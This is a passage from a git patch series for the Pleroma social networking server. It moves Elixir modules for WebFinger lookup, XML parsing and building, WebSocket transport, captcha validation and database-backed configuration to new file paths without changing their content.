encoded_account) when is_binary(domain) do + case find_lrdd_template(domain) do + {:ok, template} -> + String.replace(template, "{uri}", encoded_account) + + _ -> + "https://#{domain}/.well-known/webfinger?resource=#{encoded_account}" + end + end + + defp get_address_from_domain(_, _), do: nil + + @spec finger(String.t()) :: {:ok, map()} | {:error, any()} + def finger(account) do + account = String.trim_leading(account, "@") + + domain = + with [_name, domain] <- String.split(account, "@") do + domain + else + _e -> + URI.parse(account).host + end + + encoded_account = URI.encode("acct:#{account}") + + with address when is_binary(address) <- get_address_from_domain(domain, encoded_account), + response <- + HTTP.get( + address, + [{"accept", "application/xrd+xml,application/jrd+json"}] + ), + {:ok, %{status: status, body: body}} when status in 200..299 <- response do + doc = XML.parse_document(body) + + if doc != :error do + webfinger_from_xml(doc) + else + with {:ok, doc} <- Jason.decode(body) do + webfinger_from_json(doc) + end + end + else + e -> + Logger.debug(fn -> "Couldn't finger #{account}" end) + Logger.debug(fn -> inspect(e) end) + {:error, e} + end + end +end diff --git a/lib/pleroma/web/web_finger/web_finger.ex b/lib/pleroma/web/web_finger/web_finger.ex deleted file mode 100644 index 6629f5356..000000000 --- a/lib/pleroma/web/web_finger/web_finger.ex +++ /dev/null @@ -1,201 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.WebFinger do - alias Pleroma.HTTP - alias Pleroma.User - alias Pleroma.Web - alias Pleroma.Web.Federator.Publisher - alias Pleroma.Web.XML - alias Pleroma.XmlBuilder - require Jason - require Logger - - def host_meta do - base_url = Web.base_url() - - { - :XRD, - %{xmlns: "http://docs.oasis-open.org/ns/xri/xrd-1.0"}, - { - :Link, - %{ - rel: "lrdd", - type: "application/xrd+xml", - template: "#{base_url}/.well-known/webfinger?resource={uri}" - } - } - } - |> XmlBuilder.to_doc() - end - - def webfinger(resource, fmt) when fmt in ["XML", "JSON"] do - host = Pleroma.Web.Endpoint.host() - regex = ~r/(acct:)?(?<username>[a-z0-9A-Z_\.-]+)@#{host}/ - - with %{"username" => username} <- Regex.named_captures(regex, resource), - %User{} = user <- User.get_cached_by_nickname(username) do - {:ok, represent_user(user, fmt)} - else - _e -> - with %User{} = user <- User.get_cached_by_ap_id(resource) do - {:ok, represent_user(user, fmt)} - else - _e -> - {:error, "Couldn't find user"} - end - end - end - - defp gather_links(%User{} = user) do - [ - %{ - "rel" => "http://webfinger.net/rel/profile-page", - "type" => "text/html", - "href" => user.ap_id - } - ] ++ Publisher.gather_webfinger_links(user) - end - - def represent_user(user, "JSON") do - {:ok, user} = User.ensure_keys_present(user) - - %{ - "subject" => "acct:#{user.nickname}@#{Pleroma.Web.Endpoint.host()}", - "aliases" => [user.ap_id], - "links" => gather_links(user) - } - end - - def represent_user(user, "XML") do - {:ok, user} = User.ensure_keys_present(user) - - links = - gather_links(user) - |> Enum.map(fn link -> {:Link, link} end) - - { - :XRD, - %{xmlns: "http://docs.oasis-open.org/ns/xri/xrd-1.0"}, - [ - {:Subject, "acct:#{user.nickname}@#{Pleroma.Web.Endpoint.host()}"}, - {:Alias, user.ap_id} - ] ++ links - } - |> XmlBuilder.to_doc() - end - - defp webfinger_from_xml(doc) do - subject = XML.string_from_xpath("//Subject", doc) - - subscribe_address = - ~s{//Link[@rel="http://ostatus.org/schema/1.0/subscribe"]/@template} - |> XML.string_from_xpath(doc) - - ap_id = - ~s{//Link[@rel="self" and @type="application/activity+json"]/@href} - |> XML.string_from_xpath(doc) - - data = %{ - "subject" => subject, - "subscribe_address" => subscribe_address, - "ap_id" => ap_id - } - - {:ok, data} - end - - defp webfinger_from_json(doc) do - data = - Enum.reduce(doc["links"], %{"subject" => doc["subject"]}, fn link, data -> - case {link["type"], link["rel"]} do - {"application/activity+json", "self"} -> - Map.put(data, "ap_id", link["href"]) - - {"application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"", "self"} -> - Map.put(data, "ap_id", link["href"]) - - _ -> - Logger.debug("Unhandled type: #{inspect(link["type"])}") - data - end - end) - - {:ok, data} - end - - def get_template_from_xml(body) do - xpath = "//Link[@rel='lrdd']/@template" - - with doc when doc != :error <- XML.parse_document(body), - template when template != nil <- XML.string_from_xpath(xpath, doc) do - {:ok, template} - end - end - - def find_lrdd_template(domain) do - with {:ok, %{status: status, body: body}} when status in 200..299 <- - HTTP.get("http://#{domain}/.well-known/host-meta") do - get_template_from_xml(body) - else - _ -> - with {:ok, %{body: body, status: status}} when status in 200..299 <- - HTTP.get("https://#{domain}/.well-known/host-meta") do - get_template_from_xml(body) - else - e -> {:error, "Can't find LRDD template: #{inspect(e)}"} - end - end - end - - defp get_address_from_domain(domain, encoded_account) when is_binary(domain) do - case find_lrdd_template(domain) do - {:ok, template} -> - String.replace(template, "{uri}", encoded_account) - - _ -> - "https://#{domain}/.well-known/webfinger?resource=#{encoded_account}" - end - end - - defp get_address_from_domain(_, _), do: nil - - @spec finger(String.t()) :: {:ok, map()} | {:error, any()} - def finger(account) do - account = String.trim_leading(account, "@") - - domain = - with [_name, domain] <- String.split(account, "@") do - domain - else - _e -> - URI.parse(account).host - end - - encoded_account = URI.encode("acct:#{account}") - - with address when is_binary(address) <- get_address_from_domain(domain, encoded_account), - response <- - HTTP.get( - address, - [{"accept", "application/xrd+xml,application/jrd+json"}] - ), - {:ok, %{status: status, body: body}} when status in 200..299 <- response do - doc = XML.parse_document(body) - - if doc != :error do - webfinger_from_xml(doc) - else - with {:ok, doc} <- Jason.decode(body) do - webfinger_from_json(doc) - end - end - else - e -> - Logger.debug(fn -> "Couldn't finger #{account}" end) - Logger.debug(fn -> inspect(e) end) - {:error, e} - end - end -end diff --git a/lib/pleroma/web/xml.ex b/lib/pleroma/web/xml.ex new file mode 100644 index 000000000..c69a86a1e --- /dev/null +++ b/lib/pleroma/web/xml.ex @@ -0,0 +1,45 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.XML do + require Logger + + def string_from_xpath(_, :error), do: nil + + def string_from_xpath(xpath, doc) do + try do + {:xmlObj, :string, res} = :xmerl_xpath.string('string(#{xpath})', doc) + + res = + res + |> to_string + |> String.trim() + + if res == "", do: nil, else: res + catch + _e -> + Logger.debug("Couldn't find xpath #{xpath} in XML doc") + nil + end + end + + def parse_document(text) do + try do + {doc, _rest} = + text + |> :binary.bin_to_list() + |> :xmerl_scan.string(quiet: true) + + doc + rescue + _e -> + Logger.debug("Couldn't parse XML: #{inspect(text)}") + :error + catch + :exit, _error -> + Logger.debug("Couldn't parse XML: #{inspect(text)}") + :error + end + end +end diff --git a/lib/pleroma/web/xml/xml.ex b/lib/pleroma/web/xml/xml.ex deleted file mode 100644 index c69a86a1e..000000000 --- a/lib/pleroma/web/xml/xml.ex +++ /dev/null @@ -1,45 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.XML do - require Logger - - def string_from_xpath(_, :error), do: nil - - def string_from_xpath(xpath, doc) do - try do - {:xmlObj, :string, res} = :xmerl_xpath.string('string(#{xpath})', doc) - - res = - res - |> to_string - |> String.trim() - - if res == "", do: nil, else: res - catch - _e -> - Logger.debug("Couldn't find xpath #{xpath} in XML doc") - nil - end - end - - def parse_document(text) do - try do - {doc, _rest} = - text - |> :binary.bin_to_list() - |> :xmerl_scan.string(quiet: true) - - doc - rescue - _e -> - Logger.debug("Couldn't parse XML: #{inspect(text)}") - :error - catch - :exit, _error -> - Logger.debug("Couldn't parse XML: #{inspect(text)}") - :error - end - end -end diff --git a/lib/pleroma/xml_builder.ex b/lib/pleroma/xml_builder.ex new file mode 100644 index 000000000..33b63a71f --- /dev/null +++ b/lib/pleroma/xml_builder.ex @@ -0,0 +1,49 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.XmlBuilder do + def to_xml({tag, attributes, content}) do + open_tag = make_open_tag(tag, attributes) + + content_xml = to_xml(content) + + "<#{open_tag}>#{content_xml}</#{tag}>" + end + + def to_xml({tag, %{} = attributes}) do + open_tag = make_open_tag(tag, attributes) + + "<#{open_tag} />" + end + + def to_xml({tag, content}), do: to_xml({tag, %{}, content}) + + def to_xml(content) when is_binary(content) do + to_string(content) + end + + def to_xml(content) when is_list(content) do + for element <- content do + to_xml(element) + end + |> Enum.join() + end + + def to_xml(%NaiveDateTime{} = time) do + NaiveDateTime.to_iso8601(time) + end + + def to_doc(content), do: ~s(<?xml version="1.0" encoding="UTF-8"?>) <> to_xml(content) + + defp make_open_tag(tag, attributes) do + attributes_string = + for {attribute, value} <- attributes do + value = String.replace(value, "\"", """) + "#{attribute}=\"#{value}\"" + end + |> Enum.join(" ") + + [tag, attributes_string] |> Enum.join(" ") |> String.trim() + end +end diff --git a/lib/transports.ex b/lib/transports.ex deleted file mode 100644 index aab7fad99..000000000 --- a/lib/transports.ex +++ /dev/null @@ -1,89 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Phoenix.Transports.WebSocket.Raw do - import Plug.Conn, - only: [ - fetch_query_params: 1, - send_resp: 3 - ] - - alias Phoenix.Socket.Transport - - def default_config do - [ - timeout: 60_000, - transport_log: false, - cowboy: Phoenix.Endpoint.CowboyWebSocket - ] - end - - def init(%Plug.Conn{method: "GET"} = conn, {endpoint, handler, transport}) do - {_, opts} = handler.__transport__(transport) - - conn = - conn - |> fetch_query_params - |> Transport.transport_log(opts[:transport_log]) - |> Transport.force_ssl(handler, endpoint, opts) - |> Transport.check_origin(handler, endpoint, opts) - - case conn do - %{halted: false} = conn -> - case Transport.connect(endpoint, handler, transport, __MODULE__, nil, conn.params) do - {:ok, socket} -> - {:ok, conn, {__MODULE__, {socket, opts}}} - - :error -> - send_resp(conn, :forbidden, "") - {:error, conn} - end - - _ -> - {:error, conn} - end - end - - def init(conn, _) do - send_resp(conn, :bad_request, "") - {:error, conn} - end - - def ws_init({socket, config}) do - Process.flag(:trap_exit, true) - {:ok, %{socket: socket}, config[:timeout]} - end - - def ws_handle(op, data, state) do - state.socket.handler - |> apply(:handle, [op, data, state]) - |> case do - {op, data} -> - {:reply, {op, data}, state} - - {op, data, state} -> - {:reply, {op, data}, state} - - %{} = state -> - {:ok, state} - - _ -> - {:ok, state} - end - end - - def ws_info({_, _} = tuple, state) do - {:reply, tuple, state} - end - - def ws_info(_tuple, state), do: {:ok, state} - - def ws_close(state) do - ws_handle(:closed, :normal, state) - end - - def ws_terminate(reason, state) do - ws_handle(:closed, reason, state) - end -end diff --git a/lib/xml_builder.ex b/lib/xml_builder.ex deleted file mode 100644 index 33b63a71f..000000000 --- a/lib/xml_builder.ex +++ /dev/null @@ -1,49 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.XmlBuilder do - def to_xml({tag, attributes, content}) do - open_tag = make_open_tag(tag, attributes) - - content_xml = to_xml(content) - - "<#{open_tag}>#{content_xml}</#{tag}>" - end - - def to_xml({tag, %{} = attributes}) do - open_tag = make_open_tag(tag, attributes) - - "<#{open_tag} />" - end - - def to_xml({tag, content}), do: to_xml({tag, %{}, content}) - - def to_xml(content) when is_binary(content) do - to_string(content) - end - - def to_xml(content) when is_list(content) do - for element <- content do - to_xml(element) - end - |> Enum.join() - end - - def to_xml(%NaiveDateTime{} = time) do - NaiveDateTime.to_iso8601(time) - end - - def to_doc(content), do: ~s(<?xml version="1.0" encoding="UTF-8"?>) <> to_xml(content) - - defp make_open_tag(tag, attributes) do - attributes_string = - for {attribute, value} <- attributes do - value = String.replace(value, "\"", """) - "#{attribute}=\"#{value}\"" - end - |> Enum.join(" ") - - [tag, attributes_string] |> Enum.join(" ") |> String.trim() - end -end -- cgit v1.2.3 From 0374df1d12a4c28fac72be9b9c0545d318c10385 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 23 Jun 2020 21:10:32 +0300 Subject: other files consistency --- lib/pleroma/captcha.ex | 102 ++++ lib/pleroma/captcha/captcha.ex | 102 ---- lib/pleroma/captcha/captcha_service.ex | 37 -- lib/pleroma/captcha/service.ex | 37 ++ lib/pleroma/config/config_db.ex | 382 -------------- lib/pleroma/config_db.ex | 382 ++++++++++++++ .../conversation/participation/recipient_ship.ex | 34 ++ .../conversation/participation_recipient_ship.ex | 34 -- lib/pleroma/gun.ex | 31 ++ lib/pleroma/gun/gun.ex | 31 -- lib/pleroma/http.ex | 110 ++++ lib/pleroma/http/http.ex | 110 ---- lib/pleroma/reverse_proxy.ex | 432 ++++++++++++++++ lib/pleroma/reverse_proxy/reverse_proxy.ex | 432 ---------------- lib/pleroma/web/common_api.ex | 573 +++++++++++++++++++++ lib/pleroma/web/common_api/common_api.ex | 573 --------------------- lib/pleroma/web/fallback/redirect_controller.ex | 108 ++++ lib/pleroma/web/fallback_redirect_controller.ex | 108 ---- lib/pleroma/web/federator.ex | 111 ++++ lib/pleroma/web/federator/federator.ex | 111 ---- lib/pleroma/web/feed/user_controller.ex | 3 +- lib/pleroma/web/media_proxy.ex | 186 +++++++ lib/pleroma/web/media_proxy/invalidation/http.ex | 40 ++ lib/pleroma/web/media_proxy/invalidation/script.ex | 43 ++ lib/pleroma/web/media_proxy/invalidations/http.ex | 40 -- .../web/media_proxy/invalidations/script.ex | 43 -- lib/pleroma/web/media_proxy/media_proxy.ex | 186 ------- lib/pleroma/web/metadata/providers/open_graph.ex | 119 +++++ lib/pleroma/web/metadata/providers/opengraph.ex | 119 ----- lib/pleroma/web/o_status/o_status_controller.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/feed/user_controller_test.exs | 2 +- 32 files changed, 2312 insertions(+), 2313 deletions(-) create mode 100644 lib/pleroma/captcha.ex delete mode 100644 lib/pleroma/captcha/captcha.ex delete mode 100644 lib/pleroma/captcha/captcha_service.ex create mode 100644 lib/pleroma/captcha/service.ex delete mode 100644 lib/pleroma/config/config_db.ex create mode 100644 lib/pleroma/config_db.ex create mode 100644 lib/pleroma/conversation/participation/recipient_ship.ex delete mode 100644 lib/pleroma/conversation/participation_recipient_ship.ex create mode 100644 lib/pleroma/gun.ex delete mode 100644 lib/pleroma/gun/gun.ex create mode 100644 lib/pleroma/http.ex delete mode 100644 lib/pleroma/http/http.ex create mode 100644 lib/pleroma/reverse_proxy.ex delete mode 100644 lib/pleroma/reverse_proxy/reverse_proxy.ex create mode 100644 lib/pleroma/web/common_api.ex delete mode 100644 lib/pleroma/web/common_api/common_api.ex create mode 100644 lib/pleroma/web/fallback/redirect_controller.ex delete mode 100644 lib/pleroma/web/fallback_redirect_controller.ex create mode 100644 lib/pleroma/web/federator.ex delete mode 100644 lib/pleroma/web/federator/federator.ex create mode 100644 lib/pleroma/web/media_proxy.ex create mode 100644 lib/pleroma/web/media_proxy/invalidation/http.ex create mode 100644 lib/pleroma/web/media_proxy/invalidation/script.ex delete mode 100644 lib/pleroma/web/media_proxy/invalidations/http.ex delete mode 100644 lib/pleroma/web/media_proxy/invalidations/script.ex delete mode 100644 lib/pleroma/web/media_proxy/media_proxy.ex create mode 100644 lib/pleroma/web/metadata/providers/open_graph.ex delete mode 100644 lib/pleroma/web/metadata/providers/opengraph.ex diff --git a/lib/pleroma/captcha.ex b/lib/pleroma/captcha.ex new file mode 100644 index 000000000..6ab754b6f --- /dev/null +++ b/lib/pleroma/captcha.ex @@ -0,0 +1,102 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Captcha do + alias Calendar.DateTime + alias Plug.Crypto.KeyGenerator + alias Plug.Crypto.MessageEncryptor + + @doc """ + Ask the configured captcha service for a new captcha + """ + def new do + if not enabled?() do + %{type: :none} + else + new_captcha = method().new() + + # This make salt a little different for two keys + {secret, sign_secret} = secret_pair(new_captcha[:token]) + + # Basically copy what Phoenix.Token does here, add the time to + # the actual data and make it a binary to then encrypt it + encrypted_captcha_answer = + %{ + at: DateTime.now_utc(), + answer_data: new_captcha[:answer_data] + } + |> :erlang.term_to_binary() + |> MessageEncryptor.encrypt(secret, sign_secret) + + # Replace the answer with the encrypted answer + %{new_captcha | answer_data: encrypted_captcha_answer} + end + end + + @doc """ + Ask the configured captcha service to validate the captcha + """ + def validate(token, captcha, answer_data) do + with {:ok, %{at: at, answer_data: answer_md5}} <- validate_answer_data(token, answer_data), + :ok <- validate_expiration(at), + :ok <- validate_usage(token), + :ok <- method().validate(token, captcha, answer_md5), + {:ok, _} <- mark_captcha_as_used(token) do + :ok + end + end + + def enabled?, do: Pleroma.Config.get([__MODULE__, :enabled], false) + + defp seconds_valid, do: Pleroma.Config.get!([__MODULE__, :seconds_valid]) + + defp secret_pair(token) do + secret_key_base = Pleroma.Config.get!([Pleroma.Web.Endpoint, :secret_key_base]) + secret = KeyGenerator.generate(secret_key_base, token <> "_encrypt") + sign_secret = KeyGenerator.generate(secret_key_base, token <> "_sign") + + {secret, sign_secret} + end + + defp validate_answer_data(token, answer_data) do + {secret, sign_secret} = secret_pair(token) + + with false <- is_nil(answer_data), + {:ok, data} <- MessageEncryptor.decrypt(answer_data, secret, sign_secret), + %{at: at, answer_data: answer_md5} <- :erlang.binary_to_term(data) do + {:ok, %{at: at, answer_data: answer_md5}} + else + _ -> {:error, :invalid_answer_data} + end + end + + defp validate_expiration(created_at) do + # If the time found is less than (current_time-seconds_valid) then the time has already passed + # Later we check that the time found is more than the presumed invalidatation time, that means + # that the data is still valid and the captcha can be checked + + valid_if_after = DateTime.subtract!(DateTime.now_utc(), seconds_valid()) + + if DateTime.before?(created_at, valid_if_after) do + {:error, :expired} + else + :ok + end + end + + defp validate_usage(token) do + if is_nil(Cachex.get!(:used_captcha_cache, token)) do + :ok + else + {:error, :already_used} + end + end + + defp mark_captcha_as_used(token) do + ttl = seconds_valid() |> :timer.seconds() + Cachex.put(:used_captcha_cache, token, true, ttl: ttl) + end + + defp method, do: Pleroma.Config.get!([__MODULE__, :method]) +end diff --git a/lib/pleroma/captcha/captcha.ex b/lib/pleroma/captcha/captcha.ex deleted file mode 100644 index 6ab754b6f..000000000 --- a/lib/pleroma/captcha/captcha.ex +++ /dev/null @@ -1,102 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Captcha do - alias Calendar.DateTime - alias Plug.Crypto.KeyGenerator - alias Plug.Crypto.MessageEncryptor - - @doc """ - Ask the configured captcha service for a new captcha - """ - def new do - if not enabled?() do - %{type: :none} - else - new_captcha = method().new() - - # This make salt a little different for two keys - {secret, sign_secret} = secret_pair(new_captcha[:token]) - - # Basically copy what Phoenix.Token does here, add the time to - # the actual data and make it a binary to then encrypt it - encrypted_captcha_answer = - %{ - at: DateTime.now_utc(), - answer_data: new_captcha[:answer_data] - } - |> :erlang.term_to_binary() - |> MessageEncryptor.encrypt(secret, sign_secret) - - # Replace the answer with the encrypted answer - %{new_captcha | answer_data: encrypted_captcha_answer} - end - end - - @doc """ - Ask the configured captcha service to validate the captcha - """ - def validate(token, captcha, answer_data) do - with {:ok, %{at: at, answer_data: answer_md5}} <- validate_answer_data(token, answer_data), - :ok <- validate_expiration(at), - :ok <- validate_usage(token), - :ok <- method().validate(token, captcha, answer_md5), - {:ok, _} <- mark_captcha_as_used(token) do - :ok - end - end - - def enabled?, do: Pleroma.Config.get([__MODULE__, :enabled], false) - - defp seconds_valid, do: Pleroma.Config.get!([__MODULE__, :seconds_valid]) - - defp secret_pair(token) do - secret_key_base = Pleroma.Config.get!([Pleroma.Web.Endpoint, :secret_key_base]) - secret = KeyGenerator.generate(secret_key_base, token <> "_encrypt") - sign_secret = KeyGenerator.generate(secret_key_base, token <> "_sign") - - {secret, sign_secret} - end - - defp validate_answer_data(token, answer_data) do - {secret, sign_secret} = secret_pair(token) - - with false <- is_nil(answer_data), - {:ok, data} <- MessageEncryptor.decrypt(answer_data, secret, sign_secret), - %{at: at, answer_data: answer_md5} <- :erlang.binary_to_term(data) do - {:ok, %{at: at, answer_data: answer_md5}} - else - _ -> {:error, :invalid_answer_data} - end - end - - defp validate_expiration(created_at) do - # If the time found is less than (current_time-seconds_valid) then the time has already passed - # Later we check that the time found is more than the presumed invalidatation time, that means - # that the data is still valid and the captcha can be checked - - valid_if_after = DateTime.subtract!(DateTime.now_utc(), seconds_valid()) - - if DateTime.before?(created_at, valid_if_after) do - {:error, :expired} - else - :ok - end - end - - defp validate_usage(token) do - if is_nil(Cachex.get!(:used_captcha_cache, token)) do - :ok - else - {:error, :already_used} - end - end - - defp mark_captcha_as_used(token) do - ttl = seconds_valid() |> :timer.seconds() - Cachex.put(:used_captcha_cache, token, true, ttl: ttl) - end - - defp method, do: Pleroma.Config.get!([__MODULE__, :method]) -end diff --git a/lib/pleroma/captcha/captcha_service.ex b/lib/pleroma/captcha/captcha_service.ex deleted file mode 100644 index 959038cef..000000000 --- a/lib/pleroma/captcha/captcha_service.ex +++ /dev/null @@ -1,37 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Captcha.Service do - @doc """ - Request new captcha from a captcha service. - - Returns: - - Type/Name of the service, the token to identify the captcha, - the data of the answer and service-specific data to use the newly created captcha - """ - @callback new() :: %{ - type: atom(), - token: String.t(), - answer_data: any() - } - - @doc """ - Validated the provided captcha solution. - - Arguments: - * `token` the captcha is associated with - * `captcha` solution of the captcha to validate - * `answer_data` is the data needed to validate the answer (presumably encrypted) - - Returns: - - `true` if captcha is valid, `false` if not - """ - @callback validate( - token :: String.t(), - captcha :: String.t(), - answer_data :: any() - ) :: :ok | {:error, String.t()} -end diff --git a/lib/pleroma/captcha/service.ex b/lib/pleroma/captcha/service.ex new file mode 100644 index 000000000..959038cef --- /dev/null +++ b/lib/pleroma/captcha/service.ex @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Captcha.Service do + @doc """ + Request new captcha from a captcha service. + + Returns: + + Type/Name of the service, the token to identify the captcha, + the data of the answer and service-specific data to use the newly created captcha + """ + @callback new() :: %{ + type: atom(), + token: String.t(), + answer_data: any() + } + + @doc """ + Validated the provided captcha solution. + + Arguments: + * `token` the captcha is associated with + * `captcha` solution of the captcha to validate + * `answer_data` is the data needed to validate the answer (presumably encrypted) + + Returns: + + `true` if captcha is valid, `false` if not + """ + @callback validate( + token :: String.t(), + captcha :: String.t(), + answer_data :: any() + ) :: :ok | {:error, String.t()} +end diff --git a/lib/pleroma/config/config_db.ex b/lib/pleroma/config/config_db.ex deleted file mode 100644 index e5b7811aa..000000000 --- a/lib/pleroma/config/config_db.ex +++ /dev/null @@ -1,382 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ConfigDB do - use Ecto.Schema - - import Ecto.Changeset - import Ecto.Query, only: [select: 3] - import Pleroma.Web.Gettext - - alias __MODULE__ - alias Pleroma.Repo - - @type t :: %__MODULE__{} - - @full_subkey_update [ - {:pleroma, :assets, :mascots}, - {:pleroma, :emoji, :groups}, - {:pleroma, :workers, :retries}, - {:pleroma, :mrf_subchain, :match_actor}, - {:pleroma, :mrf_keyword, :replace} - ] - - schema "config" do - field(:key, Pleroma.EctoType.Config.Atom) - field(:group, Pleroma.EctoType.Config.Atom) - field(:value, Pleroma.EctoType.Config.BinaryValue) - field(:db, {:array, :string}, virtual: true, default: []) - - timestamps() - end - - @spec get_all_as_keyword() :: keyword() - def get_all_as_keyword do - ConfigDB - |> select([c], {c.group, c.key, c.value}) - |> Repo.all() - |> Enum.reduce([], fn {group, key, value}, acc -> - Keyword.update(acc, group, [{key, value}], &Keyword.merge(&1, [{key, value}])) - end) - end - - @spec get_by_params(map()) :: ConfigDB.t() | nil - def get_by_params(params), do: Repo.get_by(ConfigDB, params) - - @spec changeset(ConfigDB.t(), map()) :: Changeset.t() - def changeset(config, params \\ %{}) do - config - |> cast(params, [:key, :group, :value]) - |> validate_required([:key, :group, :value]) - |> unique_constraint(:key, name: :config_group_key_index) - end - - defp create(params) do - %ConfigDB{} - |> changeset(params) - |> Repo.insert() - end - - defp update(%ConfigDB{} = config, %{value: value}) do - config - |> changeset(%{value: value}) - |> Repo.update() - end - - @spec get_db_keys(keyword(), any()) :: [String.t()] - def get_db_keys(value, key) do - keys = - if Keyword.keyword?(value) do - Keyword.keys(value) - else - [key] - end - - Enum.map(keys, &to_json_types(&1)) - end - - @spec merge_group(atom(), atom(), keyword(), keyword()) :: keyword() - def merge_group(group, key, old_value, new_value) do - new_keys = to_mapset(new_value) - - intersect_keys = old_value |> to_mapset() |> MapSet.intersection(new_keys) |> MapSet.to_list() - - merged_value = ConfigDB.merge(old_value, new_value) - - @full_subkey_update - |> Enum.map(fn - {g, k, subkey} when g == group and k == key -> - if subkey in intersect_keys, do: subkey, else: [] - - _ -> - [] - end) - |> List.flatten() - |> Enum.reduce(merged_value, &Keyword.put(&2, &1, new_value[&1])) - end - - defp to_mapset(keyword) do - keyword - |> Keyword.keys() - |> MapSet.new() - end - - @spec sub_key_full_update?(atom(), atom(), [Keyword.key()]) :: boolean() - def sub_key_full_update?(group, key, subkeys) do - Enum.any?(@full_subkey_update, fn {g, k, subkey} -> - g == group and k == key and subkey in subkeys - end) - end - - @spec merge(keyword(), keyword()) :: keyword() - def merge(config1, config2) when is_list(config1) and is_list(config2) do - Keyword.merge(config1, config2, fn _, app1, app2 -> - if Keyword.keyword?(app1) and Keyword.keyword?(app2) do - Keyword.merge(app1, app2, &deep_merge/3) - else - app2 - end - end) - end - - defp deep_merge(_key, value1, value2) do - if Keyword.keyword?(value1) and Keyword.keyword?(value2) do - Keyword.merge(value1, value2, &deep_merge/3) - else - value2 - end - end - - @spec update_or_create(map()) :: {:ok, ConfigDB.t()} | {:error, Changeset.t()} - def update_or_create(params) do - params = Map.put(params, :value, to_elixir_types(params[:value])) - search_opts = Map.take(params, [:group, :key]) - - with %ConfigDB{} = config <- ConfigDB.get_by_params(search_opts), - {_, true, config} <- {:partial_update, can_be_partially_updated?(config), config}, - {_, true, config} <- - {:can_be_merged, is_list(params[:value]) and is_list(config.value), config} do - new_value = merge_group(config.group, config.key, config.value, params[:value]) - update(config, %{value: new_value}) - else - {reason, false, config} when reason in [:partial_update, :can_be_merged] -> - update(config, params) - - nil -> - create(params) - end - end - - defp can_be_partially_updated?(%ConfigDB{} = config), do: not only_full_update?(config) - - defp only_full_update?(%ConfigDB{group: group, key: key}) do - full_key_update = [ - {:pleroma, :ecto_repos}, - {:quack, :meta}, - {:mime, :types}, - {:cors_plug, [:max_age, :methods, :expose, :headers]}, - {:swarm, :node_blacklist}, - {:logger, :backends} - ] - - Enum.any?(full_key_update, fn - {s_group, s_key} -> - group == s_group and ((is_list(s_key) and key in s_key) or key == s_key) - end) - end - - @spec delete(ConfigDB.t() | map()) :: {:ok, ConfigDB.t()} | {:error, Changeset.t()} - def delete(%ConfigDB{} = config), do: Repo.delete(config) - - def delete(params) do - search_opts = Map.delete(params, :subkeys) - - with %ConfigDB{} = config <- ConfigDB.get_by_params(search_opts), - {config, sub_keys} when is_list(sub_keys) <- {config, params[:subkeys]}, - keys <- Enum.map(sub_keys, &string_to_elixir_types(&1)), - {_, config, new_value} when new_value != [] <- - {:partial_remove, config, Keyword.drop(config.value, keys)} do - update(config, %{value: new_value}) - else - {:partial_remove, config, []} -> - Repo.delete(config) - - {config, nil} -> - Repo.delete(config) - - nil -> - err = - dgettext("errors", "Config with params %{params} not found", params: inspect(params)) - - {:error, err} - end - end - - @spec to_json_types(term()) :: map() | list() | boolean() | String.t() - def to_json_types(entity) when is_list(entity) do - Enum.map(entity, &to_json_types/1) - end - - def to_json_types(%Regex{} = entity), do: inspect(entity) - - def to_json_types(entity) when is_map(entity) do - Map.new(entity, fn {k, v} -> {to_json_types(k), to_json_types(v)} end) - end - - def to_json_types({:args, args}) when is_list(args) do - arguments = - Enum.map(args, fn - arg when is_tuple(arg) -> inspect(arg) - arg -> to_json_types(arg) - end) - - %{"tuple" => [":args", arguments]} - end - - def to_json_types({:proxy_url, {type, :localhost, port}}) do - %{"tuple" => [":proxy_url", %{"tuple" => [to_json_types(type), "localhost", port]}]} - end - - def to_json_types({:proxy_url, {type, host, port}}) when is_tuple(host) do - ip = - host - |> :inet_parse.ntoa() - |> to_string() - - %{ - "tuple" => [ - ":proxy_url", - %{"tuple" => [to_json_types(type), ip, port]} - ] - } - end - - def to_json_types({:proxy_url, {type, host, port}}) do - %{ - "tuple" => [ - ":proxy_url", - %{"tuple" => [to_json_types(type), to_string(host), port]} - ] - } - end - - def to_json_types({:partial_chain, entity}), - do: %{"tuple" => [":partial_chain", inspect(entity)]} - - def to_json_types(entity) when is_tuple(entity) do - value = - entity - |> Tuple.to_list() - |> to_json_types() - - %{"tuple" => value} - end - - def to_json_types(entity) when 